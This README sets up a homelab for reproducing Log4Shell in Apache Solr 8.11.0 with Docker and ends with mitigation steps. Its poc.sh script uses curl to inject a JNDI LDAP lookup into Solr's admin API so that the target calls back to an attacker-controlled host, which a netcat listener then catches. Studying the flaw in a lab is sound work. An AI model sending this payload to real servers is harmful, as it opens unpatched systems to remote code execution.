Homelab: Log4Shell (CVE-2021-44228) on Apache Solr

Controlled Docker environment to reproduce and study the Log4Shell vulnerability in Apache Solr.

The Environment

• Target (solr-lab): Apache Solr v8.11.0 (vulhub/solr:8.11.0) running a vulnerable version of Log4j.
• Attacker (kali-lab): Basic Kali Linux container with nmap, curl and netcat pre-installed.

How to Bring Up the Lab

1. Start the containers

In your terminal, bring up the environment in the background:

docker compose up -d --build

2. Enter Kali (Attacker Container)

docker compose exec -it kali-lab /bin/bash

3. Map the internal network

Inside the Kali container, discover your own subnet and locate the Apache Solr IP:

# 1. Check your IP and netmask
hostname -I

# 2. Scan the internal network to find the target IP (Solr port: 8983)
# (Replace the subnet below with the IP you obtained from the previous command)
nmap -p 8983 172.20.0.0/24

Running the PoC (Proof of Concept)

The poc.sh script injects the JNDI lookup payload into the Solr administration API parameter.

The Script (poc.sh)

#!/usr/bin/env bash

if [ "$#" -lt 2 ]; then
    echo "Usage: $0 <lhost> <rhost> [lport]"
    echo "Example: $0 172.20.0.3 172.20.0.2 1389"
    exit 1
fi

KALI="$1"
TARGET="$2"
PORT_KALI="${3:-1389}"

echo "[*] Target: $TARGET"
echo "[*] Attacker (LDAP): $KALI on port $PORT_KALI"
echo "[*] Firing exploit..."

curl -g -v "http://${TARGET}:8983/solr/admin/cores?foo=\${jndi:ldap://${KALI}:${PORT_KALI}/x}"

Execution

Still inside Kali, give execution permission to the script and run it, passing the correct IPs:

chmod +x poc.sh
./poc.sh <KALI_IP> <SOLR_IP> 1389

What happens here? Solr will process the request and attempt to open an LDAP connection back to the Kali IP on the specified port. You can monitor this connection attempt by opening a quick listener on Kali before running the script (e.g., nc -lnvp 1389).

Mitigation

To fix the flaw in Log4j 2:

• Update: Upgrade the library to secure versions (above 2.15.0 or 2.17.1).
• JVM Format Msg: In versions between 2.10 and 2.14.1, disable lookups by adding the flag -Dlog4j2.formatMsgNoLookups=true in the Java startup.
• Class Removal: Manually remove the problematic class from the jar if you cannot update:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class